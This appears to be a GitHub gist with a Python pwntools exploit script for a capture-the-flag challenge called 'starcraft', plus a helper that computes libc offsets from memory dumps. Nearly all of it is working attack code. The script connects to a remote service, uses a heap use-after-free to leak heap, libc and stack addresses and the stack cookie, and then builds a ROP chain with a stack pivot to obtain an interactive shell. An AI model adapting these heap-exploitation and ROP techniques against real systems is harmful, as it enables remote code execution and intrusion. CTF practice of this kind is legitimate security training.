Created
June 6, 2016 01:19
-
-
Save sroettger/87a45e8c4208e44fc63f9d275715aeb9 to your computer and use it in GitHub Desktop.
alictf starcraft exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import struct | |
import sys | |
import struct | |
import pwn | |
from find_offset import get_libc_off, MyException | |
pwn.context.update(arch='amd64') | |
class Starcraft(object): | |
def __init__(self, remote=False, gdb=False, ltrace=False): | |
stderr_fd = open('ltrace.out', 'w') | |
if remote: | |
self.r = pwn.remote('121.40.56.102', 9776) | |
else: | |
if gdb: | |
self.r = pwn.process(['./starcraft']) | |
pwn.gdb.attach(self.r, '''c''') | |
else: | |
if ltrace: | |
self.r = pwn.process(['ltrace', './starcraft'], stderr = stderr_fd) | |
else: | |
self.r = pwn.process(['./starcraft'], stderr = stderr_fd) | |
def skip_prompt(self): | |
return self.r.readuntil('>') | |
def new_unit(self, type, name): | |
self.skip_prompt() | |
self.r.sendline('1') | |
self.r.readuntil('?') | |
self.r.sendline(type) | |
if len(name) > 0: | |
self.r.readuntil(':') | |
self.r.sendline(name) | |
def unit_details(self, index): | |
self.skip_prompt() | |
self.r.sendline('3') | |
self.r.readuntil(':') | |
self.r.sendline(str(index)) | |
return (self.r.readline()[len(' Name: '):].rstrip('\n'), self.r.readline()[len('HP: '):], | |
self.r.readline()[len('Dmage: '):], self.r.readline()[len('Armor: '):], | |
self.r.readline()[len('Supply: '):]) | |
def delete_unit(self, index): | |
self.skip_prompt() | |
self.r.sendline('5') | |
self.r.readuntil(':') | |
self.r.sendline(str(index)) | |
return self.r.readline() | |
def exit(self): | |
self.skip_prompt() | |
self.r.sendline('6') | |
return self.r.readline() | |
def form_army(self): | |
self.skip_prompt() | |
self.r.sendline('4') | |
def army_add_unit(self, index): | |
self.skip_prompt() | |
self.r.sendline('1') | |
self.r.sendline(str(index)) | |
return self.r.readline() | |
def army_clear_all(self): | |
self.skip_prompt() | |
self.r.sendline('2') | |
return self.r.readline() | |
def army_quit(self): | |
self.skip_prompt() | |
self.r.sendline('4') | |
def free_names(self, indexes): | |
self.form_army() | |
for index in indexes: | |
self.army_add_unit(index) | |
self.army_clear_all() | |
self.army_quit() | |
def clear_array(self): | |
for i in reversed(range(32)): | |
self.skip_prompt() | |
self.r.sendline('5') | |
self.r.readuntil('Input the id of unit:') | |
self.r.sendline(str(i)) | |
def read(self, addr): | |
self.clear_array() | |
# read / free arbitrary addr | |
self.new_unit('stalker', 'A' * 0x18) | |
self.free_names([0]) | |
self.new_unit('stalker', 'B' * 0x30) | |
self.new_unit('stalker', 'C' * 0x36) | |
self.free_names([0]) | |
self.new_unit('stalker', pwn.flat(addr) * 4) | |
# read arbitrary value | |
return self.unit_details(2)[0] | |
def free(self, addr, data): | |
self.clear_array() | |
for i in range(0x14): | |
self.new_unit('stalker', pwn.flat(addr)*4) | |
self.new_unit('stalker', pwn.flat(addr)*4) | |
# TODO | |
self.free_names([0]) | |
self.new_unit("stalker", 'B'*0x30) | |
self.new_unit(data, '') | |
def read_ptr(self, addr): | |
data = '' | |
while len(data) < 8: | |
new_data = self.read(addr+len(data)) | |
if len(new_data) == 0: | |
data += '\x00' | |
else: | |
data += new_data | |
return struct.unpack('<Q', data[:8])[0] | |
def ptr_leak(leak_buf): | |
if len(leak_buf) > 8: | |
leak_buf = leak_buf[:8] | |
while len(leak_buf) < 8: | |
leak_buf += '\x00' | |
return struct.unpack('<Q', leak_buf)[0] | |
def main(): | |
remote = True | |
gdb = False | |
ltrace = False | |
#sc = Starcraft(gdb=True) | |
sc = Starcraft(remote=remote, gdb=gdb, ltrace=ltrace) | |
# heap ptr leak | |
sc.new_unit('stalker', 'A' * 4) | |
sc.free_names([0]) | |
sc.new_unit('stalker', 'A' * 0x16) | |
heap_addr = ptr_leak(sc.unit_details(0)[0]) | |
print '[*] heap ptr: 0x{:x}'.format(heap_addr) | |
libc_guess = heap_addr - 0x1500000 | |
libc_addr = libc_guess + get_libc_off(sc.read(libc_guess)) | |
print '[*] libc at: 0x{:x}'.format(libc_addr) | |
stack_end_ptr_off = 0xb01e60 | |
stack_addr = sc.read_ptr(libc_addr + stack_end_ptr_off) | |
print '[*] stack at: 0x{:x}'.format(stack_addr) | |
stack_buf_off = 0x1e0 | |
stack_buf_addr = stack_addr - stack_buf_off | |
cookie_addr = libc_addr + 0xcda7a8 | |
print '[*] stack buf at: 0x{:x}'.format(stack_buf_addr) | |
print '[*] looking for cookie at: 0x{:x}'.format(cookie_addr) | |
bin_off = 0xb04000 | |
cookie = sc.read_ptr(cookie_addr) | |
print '[*] cookie: 0x{:x}'.format(cookie) | |
sc.clear_array() | |
fake_malloc = pwn.flat(0x40).rjust(112, 'A') | |
breakpoint = libc_addr + bin_off + 0x2095 | |
# if gdb == False and ltrace == False: | |
# pwn.gdb.attach(sc.r, ''' | |
#break *0x{:x} | |
#c | |
# '''.format(breakpoint)) | |
sc.free(stack_buf_addr+len(fake_malloc), fake_malloc) | |
rop2 = '' | |
rop2 += pwn.flat(libc_addr+0x0000000000022b9a) | |
rop2 += pwn.flat(libc_addr + 0x17C8C3) | |
rop2 += pwn.flat(libc_addr + 0x46590) | |
fake_malloc = "stalkerA" | |
fake_malloc += rop2 | |
fake_malloc = fake_malloc.ljust(104, 'A') + pwn.flat(0x40) | |
rop = pwn.flat(libc_addr+ 0x37f8) #pop rsp, ret | |
rop += pwn.flat(stack_buf_addr+8) | |
#rop = "A"*8 + "B"*7 + "\x00" | |
rop = pwn.flat(cookie) * 5 + rop | |
rop = rop.rstrip("\x00") | |
# if gdb == False and ltrace == False: | |
# pwn.gdb.attach(sc.r, ''' | |
#break *0x{:x} | |
#c | |
# '''.format(libc_addr + bin_off + 0x2115)) | |
sc.new_unit(fake_malloc, rop) | |
#sc.exit() | |
sc.r.interactive() | |
if __name__ == "__main__": | |
for i in range(100): | |
try: | |
main() | |
break | |
except EOFError: | |
pass | |
except MyException as e: | |
print e | |
except struct.error: | |
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import sys | |
class MyException(BaseException): | |
def __init__(self, error, msg): | |
self.error = error | |
self.msg = msg | |
def __str__(self): | |
return '{}: {}'.format(self.error, self.msg) | |
def get_libc_off(s): | |
data = '' | |
libc_base = 0 | |
end = 0 | |
base = 0 | |
for line in open("./maps", "r").readlines(): | |
if '[heap]' in line: | |
break | |
parts = line.split(' ') | |
addrs = map(lambda x: int(x, 16), parts[0].split('-')) | |
if base == 0: | |
base = addrs[0] | |
if 'libc-2.19.so' in line and libc_base == 0: | |
libc_base = addrs[0] | |
break | |
assert(libc_base != 0) | |
data = '' | |
with open("./mem", "r") as fd: | |
data = fd.read() | |
off = data.find(s) | |
if off < 0: | |
raise MyException(-1, "not found") | |
if data[off+1:].find(s) >= 0: | |
raise MyException(-2, "value found multiple times") | |
#print '[*] off: 0x{:x}'.format(off) | |
#print '[*] libc_base: 0x{:x}'.format(libc_base) | |
#print '[*] base: 0x{:x}'.format(base) | |
#print '[*] ret: 0x{:x}'.format(libc_base - base - off) | |
return libc_base - base - off | |
#try: | |
# print hex(get_libc_off(sys.argv[1].decode('hex'))) | |
#except MyException as e: | |
# print e | |
# |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment